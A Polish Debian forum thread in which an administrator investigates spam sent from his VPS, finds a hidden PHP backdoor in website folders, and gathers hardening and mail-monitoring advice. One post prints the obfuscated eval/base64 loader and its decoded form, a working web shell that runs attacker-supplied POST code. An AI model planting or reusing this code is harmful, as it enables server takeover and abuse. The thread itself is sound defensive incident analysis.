Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!

Ogłoszenie

Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.

#1  2013-10-14 14:14:26

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Backdoor z rana jak śmietana.

Ahoj! Dawno mnie tu nie było.. Koledzy, koleżanki zwracam się do Was z prośbą o pomoc w znalezieniu problemu.. Miał być sobie spokojny weekend a tu dostaję w sobotę raporty o problemach serwera pocztowego. Od miesiąca wysłużona maszyna z Lennym została zamieniona VPS'em z Debianem 7. Miało być nowocześnie, bezpiecznie i spokojnie na kolejne kilka lat.. Tymczasem okazuje się, że jestem wciągany na listy spamowe przez jednego u użytkownika www - powiązanego z katalogiem.

Moja kolejka wyglądała mniej więcej tak:

-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
8FBF9304815* 3453 Sun Oct 13 12:46:08 web35@prime.pl
gioia.pisano@ey.com

540EE30480D* 3446 Sun Oct 13 12:46:07 web35@prime.pl
ginobianchini@ey.com

29F7B30BF17* 3466 Mon Oct 14 08:13:26 web35@prime.pl
kmarcoux@maildomination.com

75484305A84* 3453 Sat Oct 12 21:33:37 web35@prime.pl
support@kongu.com

9C2EE303DAB* 3472 Sat Oct 12 13:23:59 web35@prime.pl
thebjohnstons@sbcglobla.net

58CF7304808* 3451 Sun Oct 13 12:46:06 web35@prime.pl
gino.sasso@ey.com

020F830D0B1* 3444 Mon Oct 14 07:30:25 web35@prime.pl
saccentev@coned.com

00B6D305742* 3441 Sat Oct 12 23:30:59 web35@prime.pl
Mulee@compaq.net

DB88930D0D3* 3450 Mon Oct 14 07:30:22 web35@prime.pl
sablianj@coned.com

A263D30A5BE* 3438 Mon Oct 14 02:21:03 web35@prime.pl
roger@villa.com

ED5AB30D08D* 3454 Mon Oct 14 07:30:25 web35@prime.pl
saddiesmith@coned.com

611AD30481A* 3443 Sun Oct 13 12:46:02 web35@prime.pl
ginny.hoce@ey.com

F3F9130D0A6* 3439 Mon Oct 14 07:30:21 web35@prime.pl
sabinoaa@coned.com

D322930D0AC* 3440 Mon Oct 14 07:30:23 web35@prime.pl
sablod@coned.com[/quote]
Fragment logów mail.log

Oct 10 09:53:29 prime postfix/qmgr[2954]: C5E0F1287ED4: from=<web35@prime.pl>, size=4842, nrcpt=1 (queue active)
Oct 10 09:53:29 prime amavis[27159]: (27159-09-23) Passed CLEAN {RelayedOpenRelay}, <web35@prime.pl> -> <2052124@compass-group.co.uk>, Message-ID: <20131010075322.892481287EE7@prime.pl>, mail_i
Oct 10 09:53:30 prime postfix/local[27848]: 1C8BB1287ED8: to=<web35@prime.pl>, relay=local, delay=0.03, delays=0.01/0/0/0.02, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:30 prime postfix/local[27848]: 742271287ECF: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime postfix/local[27848]: 8CB2F1287ECD: to=<web35@prime.pl>, relay=local, delay=0.01, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime amavis[27159]: (27159-09-25) Passed CLEAN {RelayedInbound}, [74.125.83.66]:46601 [74.125.83.66] <> -> <web35@prime.pl>, Queue-ID: 187C71287ED1, Message-ID: <089e01681ba4d5fad104e
Oct 10 09:53:33 prime postfix/smtp[27036]: 187C71287ED1: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, conn_use=25, delay=8.5, delays=0.12/4.9/0/3.5, dsn=2.0.0, status=sent (250 2.0.0 from MT
Oct 10 09:53:38 prime amavis[27873]: (27873-02) Passed CLEAN {RelayedInbound}, [212.188.178.246]:52393 [212.188.178.246] <> -> <web35@prime.pl>, Queue-ID: 2ECCD1287ECD, Message-ID: <20131010075332.DB7
Oct 10 09:53:38 prime postfix/local[27848]: 0F0981287ECE: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:38 prime postfix/smtp[26447]: 2ECCD1287ECD: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, delay=3.9, delays=0.19/0/0/3.7, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0
Oct 10 09:59:55 prime postfix/qmgr[2954]: E5D961287ECC: from=<web35@prime.pl>, size=4860, nrcpt=1 (queue active)[/quote]
Na początku myślę, formularz nie zabezpieczony captcha ale przecież spam idzie na inne adresy niż ten skonfigurowany w formularzu..
Szukam więc dalej w logach. Pomocna staje się strona: http://zy0.de/

W fragmentach zablokowanych wiadomości znajduję

Subject: Voice Message Notification
X-PHP-Originating-Script: 5036:sys09725444.php
From: "WhatsApp Messaging Service" <service@domena.pl>
X-Mailer: mPOPWeb-Mail2.19
Reply-To: "WhatsApp Messaging Service" <service@domena.pl>
Mime-Version: 1.0
Content-Type: multipart/alternative;boundary="----------1381690620525AECFC28AD4"
Message-Id: <20131013185700.30916307D57@prime.pl>
Date: Sun, 13 Oct 2013 20:57:00 +0200 (CEST)[/quote]
Klucz to [b]sys09725444.php[/b]

Szukam tego pliku - mam go w dwóch miejscach. Wraz z nim kilka innych plików.
Wszystko zakodowane oczywiście HEX
Tutaj link do źródła i zdekodowanego pliku:
http://ddecode.com/hexdecoder/?results=3233e0a58699c45573f2889109cfb31a

Oczywiście kod nie wygląda jak kod stworzony do przyjaznych celów.

Mój access.log do tego pliku był potężny ale wszystko z jednego adres - trochę amatorka.

146.185.246.18 - - [13/Oct/2013:07:43:35 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:43:41 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:44:48 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:45:18 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:47:17 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"[/quote]
RIPE

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '146.185.246.0 - 146.185.246.255'

% Abuse contact for '146.185.246.0 - 146.185.246.255' is 'abuse@pinspb.ru'

                                           
inetnum:        146.185.246.0 - 146.185.246.255
netname:        cust3165-net
descr:          Net for customer ID 3165
country:        LU
admin-c:        AV8068-RIPE
tech-c:         AV8068-RIPE
status:         ASSIGNED PA
mnt-by:         MNT-PIN
mnt-by:         MNT-PINSUPPORT
mnt-routes:     ROOT-MNT
source:         RIPE #Filtered


person:         Andrey Vasiliev
address:        Revolyutsii highway, 140
address:        Kirovskiy district, Mga
address:        Leningrad region,
address:        Russian Federation
abuse-mailbox:  info@eurolinenet.biz
phone:          +7 81362 4823
nic-hdl:        AV8068-RIPE
mnt-by:         eurolinenet-mnt
source:         RIPE #Filtered


% Information related to '146.185.246.0/24AS5577'

                                           
route:          146.185.246.0/24
descr:          cust3165-net
origin:         AS5577
mnt-by:         ROOT-MNT
source:         RIPE #Filtered


% This query was served by the RIPE Database Query Service version 1.69 (WHOIS4)[/quote]
Najprostszą metodą szukania jakiegoś tropu była dla mnie ta unikatowa nazwa pliku ze skryptem, która nie jest unikatowa - bo powtórzyła się w 2 folderach ze stronami.. Co ciekawe.. sporo tego w necie:
http://lustt.webd.pl/
http://majsterkowicz.home.pl/
http://raindrip.home.pl/
http://www.panamoduli.com/
http://ryano.smarthost.pl/

Co ciekawe wszędzie jest prawie ta sama data utworzenia plików co u mnie..
Gdzie szukać dziury. Większość serwerów z tym problemem to Apache, a ja śmigam na NginX'ie


blehh :F

Offline

 

#2  2013-10-14 16:04:40

  fervi - Użytkownik

fervi
Użytkownik
Zarejestrowany: 2010-03-14

Re: Backdoor z rana jak śmietana.

O ile jestem "miszczem" w zabezpieczeniach domowych, o tyle może warto przeskanować komputer rkhunter czy clamAV (o ile go nie masz, ale powinieneś mieć :D)

Fervi

Offline

 

#3  2013-10-14 16:47:13

  winnetou - złodziej wirków ]:->

winnetou
złodziej wirków ]:->
Skąd: Jasło/Rzeszów kiedyś Gdańs
Zarejestrowany: 2008-03-31
Serwis

Re: Backdoor z rana jak śmietana.

stronki postawione na dziurawcach/starociach (np nieśmiertelna joomla z serii 1.5.x). Przede wszystkim sprawdź strony na których znalazłeś ten plik - pewnie gdzieś jest jakaś luka która umożliwia wykonanie dowolnego kodu/zassanie na konto plików - a potem samo leci.


LRU: #472938
[b]napisz do mnie:[/b] ola@mojmail.eu
[url=http://valhalla.org.pl]Hołmpejdż[/url] | [url=http://valhalla.org.pl/foto]Galerie[/url] | [url=http://valhalla.org.pl/tech]"Twórczość"[/url] || [url=http://img.munn.in]Free Image Hosting[/url]

Offline

 

#4  2013-10-14 16:58:10

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.
Jest czysto generalnie. Strony postawione na Symphony2 - świeży framework teoretycznie..
Mam ich też więcej, a te 2 padły ofiarą..
Co ciekawe strony, które podlinkowałem często nie miały żadnej strony a w index of był ten syf..


blehh :F

Offline

 

#5  2013-10-14 20:15:19

  winnetou - złodziej wirków ]:->

winnetou
złodziej wirków ]:->
Skąd: Jasło/Rzeszów kiedyś Gdańs
Zarejestrowany: 2008-03-31
Serwis

Re: Backdoor z rana jak śmietana.

Syf sam się nie urodził :) Porządy audyt tych stron na których pojawił się syf (miej logi i patrzaj w logi, podpowiedź: przede wszsytkim zapytania POST), sprawdzenie logów z logowań na ftp/ssh użytkowników na których te dwie strony stoją. Zmiana haseł itd itp.


LRU: #472938
[b]napisz do mnie:[/b] ola@mojmail.eu
[url=http://valhalla.org.pl]Hołmpejdż[/url] | [url=http://valhalla.org.pl/foto]Galerie[/url] | [url=http://valhalla.org.pl/tech]"Twórczość"[/url] || [url=http://img.munn.in]Free Image Hosting[/url]

Offline

 

#6  2013-10-14 20:34:53

  fervi - Użytkownik

fervi
Użytkownik
Zarejestrowany: 2010-03-14

Re: Backdoor z rana jak śmietana.

Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.[/quote]
Wrzucone, a uruchomione? (musisz ręcznie włączyć skanowanie)

Fervi

Offline

 

#7  2013-10-15 14:18:38

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Dobra, problem zlokalizowany. Do końca nie mogę opisać ścieżki ponieważ jest zbyt duża rozpiętość dat..
Wygląda to tak: W kilku folderach ze stronami mam plik default.php
Plik ten powtarza się także w podfolderach także obstawiam, że zainfekowany komputer webmastera wgrywał bez jego wiedzy z wykorzystaniem np. zapamiętanych kont www w kliencie ftp.
Plik default.php wygląda mniej więcej tak:

Kod:

<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>

Po przetworzeniu mamy

Kod:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

Każdy kto chociaż trochę liznął php, wie że przy pomocy php://input można wrzucać kod base64, tworzyć pliki itd.

Zainfekowane pliki leżały prawie rok. Następnie w ubiegłym tygodniu autor zapewne uruchomił skrypt, który stworzył na serwerze pliki do wysyłania spamu..
W skrypcie były między innymi funkcje do identyfikacji maszyn poprzez nadanie im seryjnych numerów w pliku..


blehh :F

Offline

 

#8  2013-10-15 14:38:01

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/urandom
Zarejestrowany: 2008-01-07

Re: Backdoor z rana jak śmietana.

Zainteresuj się Grsecurity, Grsecurity-ACL i  Cgroup.

Co prawda Debian się do tego średnio nadaje, ale już z Gentusia można zrobić czołg-serwer, wobec którego 99,9999% skrypciarzy będzie bezsilna, jak to sensownie skonfigurujesz. :D

Poza tym kto daje serwerowi WWW prawo zapisu w miejscach, z których może otwierać skrypty php?

Jeśli Grsecurity-ACL za trudne (w rzeczywistości nic trudnego, ale trzeba trochę cierpliwości), to jest jeszcze dość łatwy Apparmor i ultra trudny Selinux.

Pozdro
;-)

Ostatnio edytowany przez Jacekalex (2013-10-15 14:41:23)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

#9  2013-10-15 15:16:54

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Kolego, prawami zapisu można sobie manewrować gdy ma się postawioną 1-2 app'ki i administruje się nimi na serwerze..
Dziękuję oczywiście za cenne wskazówki co do dodatkowych zabezpieczeń..

Zastanawia mnie czy nie można by wyciąć z poziomu php.ini tych funkcji, które są potencjalnie groźne..

Z innej beczki..
Czy ktoś z Was pisał sobie może kiedyś jakiś kod do monitorowania kolejki postfixowej?
Myślę o tym, aby zrobić coś co będzie wyłączało dane konto w sytuacji, gdy zostaje za jego pomocą rozsyłany spam..
Zanim ip zostanie wciągnięty na listy spamowe..


blehh :F

Offline

 

#10  2013-10-15 15:21:27

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/urandom
Zarejestrowany: 2008-01-07

Re: Backdoor z rana jak śmietana.

Z Postfixem i QMailem jest ten problem, że domyślnie zarówno Amavis jak i QMail-scanner filtrują na okoliczność spamu tylko pocztę przychodzącą, a nie wychodzącą.

Żeby filtrowały i blokowały spam wysyłany z konta z autoryzacją, trzeba trochę chyba pomaszkecić w kodzie, oba programy są skryptami perla.
W Amavisie można chyba też osiągnąć podobny efekt kombinując ze zmienną

Kod:

@acl_local_domains

Ostatnio edytowany przez Jacekalex (2013-10-15 15:24:51)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

#11  2013-10-15 15:43:58

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Myślałem czy może w głupi sposób nie mierzyć tylko wielkości kolejki i na jej podstawie monitorować..
Można zauważyć taką analogię, dużego przyrostu kolejki ze względu  na blokowanie części wiadomości..
I na podstawie tego filtrować źródło problemu..
O ile w sytuacji, kiedy problemem jest np. złamane konto pocztowe -> prosty skrypt zmieniający w mysql'u hasło dla usera..
To jak można wyciąć użytkownika "web'owego", który wysyła spam z wykorzystaniem skryptu zaszytego na stronie?
Czy konieczne jest w takim wypadku ograniczenie dostępu do wysyłania wiadomości i wymuszenie autoryzacji loginem i hasłem nawet dla 127.0.0.1?
Jakie stosujecie restrykcje co dla funkcji mail? Mają one sens w ogóle?

Taka ciekawostka: http://blog.shadowserver.org/category/botnets/
Praktycznie opisany sposób jakim wpadł programista..
Z drugiej strony, żeby w dzisiejszych czasach tyle programów nie szyfrowało haseł, które przetrzymuje...

Ostatnio edytowany przez buli (2013-10-15 15:55:00)


blehh :F

Offline

 

#12  2013-10-15 17:34:02

  winnetou - złodziej wirków ]:->

winnetou
złodziej wirków ]:->
Skąd: Jasło/Rzeszów kiedyś Gdańs
Zarejestrowany: 2008-03-31
Serwis

Re: Backdoor z rana jak śmietana.

zrób sobie wraper do funkcji mail w php :P
W php.ini domeny ustawiasz:

Kod:

sendmail_path = "/usr/sbin/phpsendmail ADRES@DOMENA.PL"

Samo /usr/sbin/phpsendmail to kilkulinijkowiec w dowolnym języku, który do wskazanego loga zapisze np date, scieżke do katalogu z którego plik php jest uruchomiony, temat maila, odbiorce (czy cokolwiek tam sobie zapragniesz).


LRU: #472938
[b]napisz do mnie:[/b] ola@mojmail.eu
[url=http://valhalla.org.pl]Hołmpejdż[/url] | [url=http://valhalla.org.pl/foto]Galerie[/url] | [url=http://valhalla.org.pl/tech]"Twórczość"[/url] || [url=http://img.munn.in]Free Image Hosting[/url]

Offline

 

#13  2013-10-15 21:32:37

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/urandom
Zarejestrowany: 2008-01-07

Re: Backdoor z rana jak śmietana.

Można też kopię maila łapać zarówno przez php.ini - odpowiednio zmodyfikowane polecenie sendmail - samym sendmailem chyba idzie dodać odbiorcę ukrytej kopii, albo na 100%  użycie always_bcc, sender_bcc ub recipient_bcc w samym postfixie.

Wtedy będziesz łapał wszystkie maile wg takiego czy innego parametru,
i możesz np w Procmailu wyciągnąć z nich dowolne informacje, jakie są potrzebne.

Wszystko masz w dokumentacji postfixa i procmaila.
np:
http://www.postfix.org/ADDRESS_REWRITING_README.html#auto_bcc

Ostatnio edytowany przez Jacekalex (2013-10-15 21:44:08)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

#14  2013-10-23 12:23:48

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Na dobry początek wrzuciłem sobie mailgraph'a.
Spore ułatwienie, jednak brak informacji zwrotnej.
Przymierzam się do wdrożenia Nagios'a na całą infrastrukturę.
[img]http://img20.imageshack.us/img20/4663/fdmw.jpg[/img]


blehh :F

Offline

 

Stopka forum

Powered by PunBB
© Copyright 2002–2005 Rickard Andersson
Nas ludzie lubią po prostu, a nie klikając w przyciski ;-)

[ Generated in 0.012 seconds, 9 queries executed ]

Informacje debugowania

Time (s) Query
0.00015 SET CHARSET latin2
0.00009 SET NAMES latin2
0.00172 SELECT u.*, g.*, o.logged FROM punbb_users AS u INNER JOIN punbb_groups AS g ON u.group_id=g.g_id LEFT JOIN punbb_online AS o ON o.ident='13.59.82.167' WHERE u.id=1
0.00094 REPLACE INTO punbb_online (user_id, ident, logged) VALUES(1, '13.59.82.167', 1714322303)
0.00073 SELECT * FROM punbb_online WHERE logged<1714322003
0.00082 SELECT t.subject, t.closed, t.num_replies, t.sticky, f.id AS forum_id, f.forum_name, f.moderators, fp.post_replies, 0 FROM punbb_topics AS t INNER JOIN punbb_forums AS f ON f.id=t.forum_id LEFT JOIN punbb_forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id=3) WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND t.id=24398 AND t.moved_to IS NULL
0.00008 SELECT search_for, replace_with FROM punbb_censoring
0.00230 SELECT u.email, u.title, u.url, u.location, u.use_avatar, u.signature, u.email_setting, u.num_posts, u.registered, u.admin_note, p.id, p.poster AS username, p.poster_id, p.poster_ip, p.poster_email, p.message, p.hide_smilies, p.posted, p.edited, p.edited_by, g.g_id, g.g_user_title, o.user_id AS is_online FROM punbb_posts AS p INNER JOIN punbb_users AS u ON u.id=p.poster_id INNER JOIN punbb_groups AS g ON g.g_id=u.group_id LEFT JOIN punbb_online AS o ON (o.user_id=u.id AND o.user_id!=1 AND o.idle=0) WHERE p.topic_id=24398 ORDER BY p.id LIMIT 0,25
0.00144 UPDATE punbb_topics SET num_views=num_views+1 WHERE id=24398
Total query time: 0.00827 s